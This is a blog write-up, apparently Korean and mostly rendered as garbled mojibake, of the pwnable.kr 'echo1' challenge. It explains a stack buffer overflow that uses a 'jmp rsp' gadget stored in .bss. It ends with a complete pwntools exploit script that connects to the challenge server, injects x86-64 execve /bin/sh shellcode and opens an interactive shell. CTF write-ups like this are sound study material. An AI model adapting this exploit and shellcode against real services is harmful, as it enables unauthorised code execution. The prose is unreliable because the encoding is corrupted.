echo1_WriteUp
๋ณด์๋ฉด.. echo service๋ฅผ ํ๊ณ ์์ผ๋ฉฐ, ํด๋น ๋ค์ด๋ก๋ ํด์ ํ์ธํด๋ณด๋ผ๊ณ ์๋ ค์ค๋๋ค.
ํ์ผ์ ๋ฐ์์ ์ด์ด๋ณด๋๊น.. ์คํํ์ผ์ด๊ณ ๋ฆฌ๋ฒ์ฑ ํ ๋ถ๋ถ์ด ๋๋ฌด ๋ง์์ IDA ์ฌ์ฉ!
์ฐธ๊ณ ๋ก echo๋ ๊ทธ๋ฅ return์ด๋ผ๊ณ ์๊ฐํ์๋ฉด ๋ ๊ฑฐ ๊ฐ์ต๋๋ค.
์ฐธ๊ณ ๋ก ์ ๋ ๋ฆฌ๋ฒ์ฑ ๋ ๋ ์ด๋ผ์ ๋๋ฝ๊ฒ ๋ชปํ๊ฑฐ๋ ์ ๊ทธ๋์ ๊ธธ์ด์ง๋ฉด.. ํ๊ท ใ
์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด 15๋ฒ ์ค์์ ์ด๋ฆ์ ๋ฌผ์ด๋ณด๋ฉฐ ์ ์ฅ์ v7์ ์ ์ฅํฉ๋๋ค.
๊ทธ๋ฆฌ๊ณ ์
๋ ฅ์ ๋ ๋ฐ๋ณต๋ฌธ์ ํตํด echo๋ฅผ ํ๋ค๊ณ ํ๋๋ฐ ๋ง์ ์คํํ๊ฑฐ๋ ์๋ func์ ๋ณด์๋ฉด
์ ์ ๋๋๊ฑด 24๋ฒ์ BOF echo๋ฟ์
๋๋ค.
๋ณด์๋ฉด s๋ ํ ๋น์ 0x20๋งํผํ์ผ๋ ์
๋ ฅ์ 0x80๊น์ง ํ๋ ๋ชจ์ต์ ๋ณด์ฌ์ค๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก bof๊ฐ ๋ฐ์ํ๊ฒ ๋๋๊ฑฐ๊ฒ ์ฃ ?
์์ ๋ณด์๋ฉด Partial RELRO ๋ฅผ ์ ์ธํ๊ณ ์ ๋ณดํธ๊ธฐ๋ฒ์ด ์ ๋ฌดํฉ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ASLR์ด ๊ฑธ๋ ค์๊ฒ ์ฃ (์ด๊ฒ์ RELRO๊ฐ ์์ผ๋ฉด ์๋ค๊ณ ๋ณด์๋ฉด ๋ฉ๋๋ค.)
๋ง์ง๋ง์ผ๋ก NX๋ ์ ๊ฑธ๋ ค์์ผ๋๊น shellcode๋ ์ฝ์
์ด ๊ฐ๋ฅํฉ๋๋ค.
๊ทธ๋ผ ์ ํฌ๋ bof์ ๊ฐ์ ์์ฝ๋๋ฅผ ๋ฃ์ด ์คํํ๋ฉด ๋๊ฒ ์ต๋๋ค.
๋ํ ํด๋น ์ทจ์ฝ์ ์ ํต์ฌ์ echo1์์ ๋ฐ์ํ๋ค๋ ์ !(๊ทธ๋๊น ๋ฌธ์ ์ ๋ชฉ์ด ๊ทธ๋ฐ๊ฐ?)
Exploit design(Senario)
bof์ ์ค๊ณ๋ ๋ณด์์ ๊ธฐ๋ณธ์ด๋๊น ๋์ด๊ฐ๋ฉฐ, ๋ฌธ์ ๋ 20byte์ ์์ฝ๋๋ฅผ ๋ฃ๊ธฐ๋ ๋ฌด๋ฆฌ์ด๋ฉฐ,
ASLR์ด ๊ฑธ๋ ค์๊ธฐ์ ์์ฝ๋๋ฅผ ๋ฃ๋๋ค๊ณ ํด๋ ์ฃผ์์ ์ํฅ์ด ์๋ ์์ญ์ ์ฝ์
์ ํด์ผํฉ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ASLR(Partial RELRO)์ ์ํฅ์ด ์๋ .bss์์ญ ๋ฑ์ด ์กด์ฌํ๊ฒ ์ต๋๋ค.
๋ณด์๋ฉด ์ฌ๊ธฐ์ bss ์์ญ์ ์๋ ์ ํฌ๊ฐ ์ฐ๋ ๋ณ์๋ผ๊ณค.. id(V7)์ด๋ค์
ํฌ๊ธฐ๋ ์์๊ฒ shellcode๋ฅผ ๋ฃ๊ธฐ๋ณด๋ค๋ ๊ทธ ์์น๋ฅผ ์ ์ฅํ๋ ํฌ์ธํฐ๊ฐ ์ ํฉํ๊ฒ ์ต๋๋ค.
Senario
- bof๋ฅผ ๋ฐ์์ํจ๋ค
- ret๊ฐ์ id์ ๊ฐ์ผ๋ก ์์น๋ฅผ ๋ณ์กฐํ๋ค
- ํด๋น ์์น์๋ ์ ์ฝ๋์ ์ฃผ์๊ฐ์ ๋ฐ๋๋ค
๋จผ์ bss ์์ญ์ ํ์ธํด๋ด ์๋ค(id)
id์ ์ฃผ์์ ์์น๋ ์๊ฒ๋์์ต๋๋ค.
๊ทธ๋ฅ e.bssํด๋ ๋ ๊ฑฐ ๊ฐ๊ธดํ๋ฐ ์ ํฌ๋ ํ์คํ๊ฒ id์ ์ฃผ์๊ฐ ํ์ํ๋๊น
๊ตณ์ด ํ๋ค๊ฐ ์ค๋ฅ๋๋๊ฒ๋ณด๋ค๋ ์ด๋ฐ ๊ฒฝ์ฐ๋ ์ง์ ๋ช
์๊ฐ ์ข๊ฒ ์ฃ ?
์ฌ๊ธฐ์ ์ ๋ ๋ง์ ๊ณ ๋ฏผ์ ํ์ต๋๋ค...
์ด๋ป๊ฒ ํ๋ฉด ์ด๋ ์ฃผ์์ shellcode๋ฅผ ๋ฃ์ด์ผํ ๊น.. bof๊ฐ ๋ฐ์๋๋ 20byte..
ํ์ง๋ง ์๊ฐ๋ณด๋ค ๊ฐ๋จํ ๋ฌธ์ ์์ต๋๋ค.bof๊ฐ ์ด๊ณผ์ ์ดํ rsp์ ์์ญ์ ์ ์ฌ๊ฐ ๋๊ธฐ ๋๋ฌธ์ด์ฃ
์ ๊ทธ๋ฆผ์ ์ด์ ์ ํ๋ brain fuck์ ๋ฉ๋ชจ๋ฆฌ์ ํํ์ด๋ฉฐ, ๋ณด์๋ฉด ๋ฐ๋ก ebp๋ฐ์ ๋ค์ esp๋ก
bof๊ฐ ๋ฐ์์ dummy๊ฐ๊ณผ offset์ ๋
ผ์ธ๋ก ์น๋ค๋ฉด ๋ฐ๋ก esp์ ์ ์ฌ๋์ด ๋ฉ๋ชจ๋ฆฌ์ ์ฐจ์งํ๊ฒ ์ต๋๋ค.
๊ทธ๋ผ ์ด๋ป๊ฒ ์ด ๊ตฌ๊ฐ์ ๊ตฌํ ๊น.. ์ด๊ฒ๋ ํ์ด๋ณด๋๊น ์ด๋ ต์ง ์๋๋ผ๊ณ ์(๋ด ์ฝ์ง..)
๋ฐ๋ก jmp rsp ๋ผ๋ asm์ ๋ช
๋ น์ด๋ฅผ ๋ฃ์ด์ค๋ค๋ฉด ๊ทธ ๋ค์ ๊ตฌ๊ฐ์ผ๋ก ๋์ด๊ฐ ๊ฒ์ด๋๊น์
๊ทธ๋ฌ๋ฉด payload์ ํ์์ ๋๋ต ์ค๊ณํ๋ค๋ฉด..
id(4byte; shellcode in address ; bss)
bof(0x20) + sfp(0x8) + ret(id; shellcode address)
๊ทธ๋ผ ํ๋ฒ exploit code๋ฅผ ์ดํด๋ณด์๋ฉด ์ถ๊ฐ์ ์ผ๋ก ์ค๋ช ์ ๋ค์ด๊ฐ๊ฒ ์ต๋๋ค.
Exploit code
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849 from pwn import *import sys'''defalut setting'''context(arch='amd64', os='linux', endian='little')context.log_level = 'debug''''connect RCE LPE choose''''''if(args['REMOTE']):p = remote('pwnable.kr', sys.argv[1])else:p = process('./echo1')'''p = remote('pwnable.kr', 9010)'''payload design & excute'''#why do excuite f**k!#sleep(2) #server and local connection speed differencep.recvuntil("hey, what's your name? : ")p.sendline(asm('jmp rsp'))#p.sendlineafter('name? : ', asm('jmp rsp'))#sleep(2)p.recvuntil('> ')p.sendline('1')#p.sendline(str(1))p.recvuntil('\n')#p.sendlineafter('> ', '1')'''p.sendline(asm('jmp rsp'))p.sendline(str(1))p.recvuntil('\n')''''''payload design'''#payload = b'A'*0x28payload = b'\x90'*0x28payload += p64(0x6020a0)#payload += p64(asm(shellcraft.sh()))#payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'payload += b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'p.sendline(payload)p.recvuntil('\n')p.interactive()cs
์ฝ๋์ ๊ตฌ์ฑ์ ์์์ ๋ค ์ค๋ช
ํ์ผ๋ฏ๋ก ๋์ด๊ฐ๊ฒ ์ต๋๋ค.
๋ํ ์ฃผ์์ผ๋ก ์ด๋์ ๋ ์ค๋ช
ํ๊ธฐ์ ์์ ํ์ง๋ ์๊ฒ ์ต๋๋ค.
์๋ถ๋ถ์ ์ทจํฅ์ฐจ์ด๋ฉฐ ์ค์ ๋ก payload design์ ๋ณด์๋ฉด ๋๊ฒ ์ต๋๋ค
ํ.. pwnable.kr์ ๋ค ์ข์๋ฐ ์ด์ํ๊ฒ ์๋ฒ๋ ํ.. ์๋๋๊ฒ ๋๋ฌด ๋ง๋ค์
์ด๋ฒ์ ๋ฐ๋ ๋ถ๋ถ๋ ์๋๊ณ ์์ฝ๋๋ฅผ ๋ถ๋ฌ์๋ ์ฐพ์๊ฒ๋ ์๋๋๊ฒ๋ ๋ชฐ๋ผ์ ์์ง์ ์
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐ชโPwnable.kr' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Rookiss]brain fuck (0) | 2022.11.20 |
---|---|
[Rookiss]loveletter (0) | 2022.11.20 |
[Toddle]fd (0) | 2022.11.19 |
[Toddle]passcode (0) | 2022.11.19 |
[Toddle]collision (0) | 2022.11.19 |